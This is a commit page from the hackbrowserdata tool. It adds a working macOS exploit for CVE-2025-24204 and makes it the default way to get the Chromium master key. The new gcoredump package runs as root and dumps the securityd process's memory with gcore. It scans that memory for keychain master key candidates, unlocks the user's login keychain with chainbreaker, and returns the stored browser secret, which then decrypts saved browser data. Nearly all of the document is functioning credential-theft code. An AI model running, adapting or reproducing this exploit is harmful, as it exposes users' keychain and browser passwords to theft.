feat: Decrypt the browser master key on macOS via CVE-2025-24204 (#494)

* feat: Decrypt the browser master key on macOS via CVE-2025-24204

* fix: resolve lint warnings and stabilize tests

* feat: default to gcoredump key extraction on macOS
This commit is contained in:
zznQ
2025-11-27 17:13:07 +08:00
committed by GitHub
parent 1a04abb81a
commit f2b0e4bf47
5 changed files with 971 additions and 1 deletions
+19 -1
View File
@@ -11,6 +11,7 @@ import (
"os/exec"
"strings"
"github.com/moond4rk/hackbrowserdata/browser/exploit/gcoredump"
"github.com/moond4rk/hackbrowserdata/crypto"
"github.com/moond4rk/hackbrowserdata/log"
"github.com/moond4rk/hackbrowserdata/types"
@@ -24,6 +25,18 @@ var (
func (c *Chromium) GetMasterKey() ([]byte, error) {
// don't need chromium key file for macOS
defer os.Remove(types.ChromiumKey.TempFilename())
// Try get the master key via gcoredump(CVE-2025-24204)
secret, err := gcoredump.DecryptKeychain(c.storage)
if err == nil && secret != "" {
log.Debugf("get master key via gcoredump(CVE-2025-24204) success, browser %s", c.name)
if key, err := c.parseSecret([]byte(secret)); err == nil {
return key, nil
}
} else {
log.Warnf("get master key via gcoredump(CVE-2025-24204) failed: %v, skipping...", err)
}
// Get the master key from the keychain
// $ security find-generic-password -wa 'Chrome'
var (
@@ -43,10 +56,15 @@ func (c *Chromium) GetMasterKey() ([]byte, error) {
return nil, errors.New(stderr.String())
}
secret := bytes.TrimSpace(stdout.Bytes())
return c.parseSecret(stdout.Bytes())
}
func (c *Chromium) parseSecret(secret []byte) ([]byte, error) {
secret = bytes.TrimSpace(secret)
if len(secret) == 0 {
return nil, errWrongSecurityCommand
}
salt := []byte("saltysalt")
// @https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_mac.mm;l=157
key := crypto.PBKDF2Key(secret, salt, 1003, 16, sha1.New)
+227
View File
@@ -0,0 +1,227 @@
//go:build darwin
package gcoredump
// CVE-2025-24204
// Logic ported from https://github.com/FFRI/CVE-2025-24204/tree/main/decrypt-keychain
// https://support.apple.com/en-us/122373
import (
"debug/macho"
"encoding/binary"
"errors"
"fmt"
"os"
"os/exec"
"path/filepath"
"strconv"
"strings"
"time"
"unsafe"
"golang.org/x/sys/unix"
"github.com/moond4rk/hackbrowserdata/log"
"github.com/moond4rk/hackbrowserdata/utils/chainbreaker"
)
var (
homeDir, _ = os.UserHomeDir()
LoginKeychainPath = homeDir + "/Library/Keychains/login.keychain-db"
)
func GetMacOSVersion() string {
v, err := unix.Sysctl("kern.osproductversion")
if err == nil {
return v
}
return ""
}
func FindProcessByName(name string, forceRoot bool) (int, error) {
buf, err := unix.SysctlRaw("kern.proc.all")
if err != nil {
return 0, fmt.Errorf("sysctl kern.proc.all failed: %w", err)
}
kinfoSize := int(unsafe.Sizeof(unix.KinfoProc{}))
if len(buf)%kinfoSize != 0 {
return 0, fmt.Errorf("sysctl kern.proc.all returned invalid data length")
}
count := len(buf) / kinfoSize
for i := 0; i < count; i++ {
proc := (*unix.KinfoProc)(unsafe.Pointer(&buf[i*kinfoSize]))
// P_comm is [16]byte on Darwin (in newer x/sys/unix versions)
pname := byteSliceToString(proc.Proc.P_comm[:])
if pname == name {
// Note: P_ppid is in Eproc on some versions, but usually in ExternProc.
// In golang.org/x/sys/unix for Darwin, ExternProc has P_ppid.
// If P_ppid is missing, we can rely on P_ruid.
if !forceRoot || proc.Eproc.Pcred.P_ruid == 0 {
return int(proc.Proc.P_pid), nil
}
}
}
return 0, fmt.Errorf("securityd process not found")
}
type addressRange struct {
start uint64
end uint64
}
func DecryptKeychain(storagename string) (string, error) {
if os.Geteuid() != 0 {
return "", errors.New("requires root privileges")
}
// find securityd PID
pid, err := FindProcessByName("securityd", true)
if err != nil {
return "", fmt.Errorf("failed to find securityd pid: %w", err)
}
corePath := filepath.Join(os.TempDir(), fmt.Sprintf("securityd-core-%d", time.Now().UnixNano()))
defer os.Remove(corePath)
// dump securityd memory:
// gcore -d -s -v -o core_path PID
cmd := exec.Command("gcore", "-d", "-s", "-v", "-o", corePath, strconv.Itoa(pid))
if err := cmd.Run(); err != nil {
return "", fmt.Errorf("failed to dump securityd memory: %w", err)
}
// find MALLOC_SMALL regions
regions, err := findMallocSmallRegions(pid)
if err != nil {
return "", fmt.Errorf("failed to find malloc small regions: %w", err)
}
// open core dump
cmf, err := macho.Open(corePath)
if err != nil {
return "", fmt.Errorf("failed to open core dump: %w", err)
}
defer cmf.Close()
// scan regions
var candidates []string
seen := make(map[string]struct{})
for _, region := range regions {
// read region data
data, vaddr, err := getMallocSmallRegionData(cmf, region)
if err != nil {
// Region might not be in core dump or other error, skip
continue
}
// Search for pattern
// 0x18 (8 bytes) followed by pointer (8 bytes)
for i := 0; i < len(data)-16; i += 8 {
val := binary.LittleEndian.Uint64(data[i : i+8])
if val == 0x18 {
ptr := binary.LittleEndian.Uint64(data[i+8 : i+16])
if ptr >= region.start && ptr <= region.end {
offset := ptr - vaddr
if offset+0x18 <= uint64(len(data)) {
masterKey := make([]byte, 0x18)
copy(masterKey, data[offset:offset+0x18])
keyStr := fmt.Sprintf("%x", masterKey)
if _, found := seen[keyStr]; !found {
candidates = append(candidates, keyStr)
seen[keyStr] = struct{}{}
log.Debugf("Found master key candidate: %s @ 0x%x", keyStr, ptr)
}
}
}
}
}
}
// fuzz master key candidates
for _, candidate := range candidates {
kc, err := chainbreaker.New(LoginKeychainPath, candidate)
if err != nil {
log.Debugf("Failed to unlock keychain: %v", err)
continue
}
records, err := kc.DumpGenericPasswords()
if err != nil {
log.Debugf("Failed to unlock keychain: %v", err)
continue
}
for _, rec := range records {
if rec.Account == storagename {
// TODO decode base64 password
if rec.PasswordBase64 {
}
return rec.Password, nil
}
}
}
return "", nil
}
func findMallocSmallRegions(pid int) ([]addressRange, error) {
cmd := exec.Command("vmmap", "--wide", strconv.Itoa(pid))
output, err := cmd.Output()
if err != nil {
return nil, err
}
var regions []addressRange
lines := strings.Split(string(output), "\n")
for _, line := range lines {
line = strings.TrimSpace(line)
if strings.HasPrefix(line, "MALLOC_SMALL") {
parts := strings.Fields(line)
if len(parts) < 2 {
continue
}
rangeStr := parts[1]
rangeParts := strings.Split(rangeStr, "-")
if len(rangeParts) != 2 {
continue
}
start, err := strconv.ParseUint(strings.TrimPrefix(rangeParts[0], "0x"), 16, 64)
if err != nil {
continue
}
end, err := strconv.ParseUint(strings.TrimPrefix(rangeParts[1], "0x"), 16, 64)
if err != nil {
continue
}
regions = append(regions, addressRange{start: start, end: end})
}
}
return regions, nil
}
func getMallocSmallRegionData(f *macho.File, region addressRange) ([]byte, uint64, error) {
for _, seg := range f.Loads {
if s, ok := seg.(*macho.Segment); ok {
if s.Addr == region.start && s.Addr+s.Memsz == region.end {
data := make([]byte, s.Filesz)
_, err := s.ReadAt(data, 0)
if err != nil {
return nil, 0, err
}
return data, s.Addr, nil
}
}
}
return nil, 0, fmt.Errorf("region not found in core dump")
}
func byteSliceToString(s []byte) string {
for i, v := range s {
if v == 0 {
return string(s[:i])
}
}
return string(s)
}